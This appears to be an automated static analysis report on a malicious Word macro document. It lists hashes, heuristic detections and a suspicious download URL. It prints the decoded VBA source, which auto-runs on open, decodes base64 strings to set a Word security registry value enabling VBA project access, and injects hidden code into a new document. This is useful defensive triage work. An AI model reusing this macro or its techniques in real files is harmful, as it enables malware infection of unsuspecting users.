Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 8e9f6c23eaaec03a…

MALICIOUS

Office (OOXML)

169.2 KB Created: 2021-04-28 05:38:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-10
MD5: 4161f033a58877b1dd9ebddd9e8a8ca6 SHA-1: 344ef2d6fc8626da60af5be9ffdc839c01dd922a SHA-256: 8e9f6c23eaaec03afd2bc162b865c098cf52d310548fec13431679fe3a807b3b
132 Risk Score

Heuristics 6

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    WPasteValue.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString iteratorRemove
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set deleteStructCounter = CreateObject("msxml2.domdocument")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://palmer2012-taxi.com/bijol/sc9qGPwmNkb9w2DS4OQ8aYf21nR9mm7AoMZWR/iXLZfpwyTr5CPMMD9CuBrGwXNdJHPUshBZyFJbmliHIgUgY/5Yd6T3GoT3h5PlthTJeAOA04PKMmCx1w/83790/YXimsLKI/xlFhEOkbxeO8bbQu2LE44zVfLHTQ5/29661/laka13?useo In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/XML/1998/namespaceIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2865 bytes
SHA-256: 45275c762dea332b39677c90bf43980039c11341ee3b52b88650eed3f314c4b6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{83C11466-B728-47F2-BCBA-3954A9AB4500}{CD20780B-8F93-4774-A628-0A3EE1628BB1}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "WResponse"
Sub autoopen()
valueTrust
Dim storageArray As String
storageArray = queryCounter
databaseStructStruct storageArray
End Sub

Attribute VB_Name = "counterValue"
Function textDelete(constLen As String) As Variant
Dim deleteStructCounter As Object
Dim nextDatabaseDatabase As Object
Set deleteStructCounter = CreateObject("msxml2.domdocument")
Set nextDatabaseDatabase = deleteStructCounter.createElement("code")
nextDatabaseDatabase.DataType = "bin.base64"
nextDatabaseDatabase.Text = constLen
textDelete = nextDatabaseDatabase.nodeTypedValue
End Function
Function screenConst(referenceResponse, ExEx)
screenConst = StrConv(referenceResponse, ExEx)
End Function

Attribute VB_Name = "repoPasteNext"
Sub databaseStructStruct(iteratorRemove As String)
Set referenceLen = CreateObject("word.application")
Set WPasteValue = referenceLen.Documents.Add
WPasteValue.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString iteratorRemove
referenceLen.Visible = False
referenceLen.Quit SaveChanges:=wdDoNotSaveChanges
End Sub

Attribute VB_Name = "ExMem"
Function sizeLink() As String
sizeLink = Application.Version
End Function
Function linkVarStorage()
linkVarStorage = "U5UX1VTRVJcU29mdHdhcmVcTWlj"
End Function
Function removeText()
removeText = "cript.sh"
End Function
Function dataConvert()
dataConvert = "VjdXJpdHlcQWN"
End Function
Sub valueTrust()
iteratorBorderListbox = screenConst(textDelete("SEtFWV9DVVJSR" & linkVarStorage & "cm9zb2Z0XE9mZmljZVw="), vbUnicode)
selectQueryIndex = sizeLink
argumentLink = screenConst(textDelete("XFdvcmRcU2" & dataConvert & "jZXNzVkJPTQ=="), vbUnicode)
clearClass = iteratorBorderListbox & selectQueryIndex & argumentLink
With CreateObject("ws" & removeText & "ell")
.RegWrite clearClass, 1, "REG_DWORD"
End With
End Sub
Public Function constNextClear(ByVal windowMem As String) As String
For windowProcedure = 1 To Len(windowMem) Step 2
tempScreenLoad = Chr$(Val("&H" & Mid$(windowMem, windowProcedure, 2)))
exceptionRequest = exceptionRequest & tempScreenLoad
Next windowProcedure
constNextClear = exceptionRequest
End Function
Function queryCounter()
queryCounter = UserForm1.TextBox1
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 26624 bytes
SHA-256: 4d2fd884945d798015483b06356719229ebf0c832e518b36ab450460408b35d3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).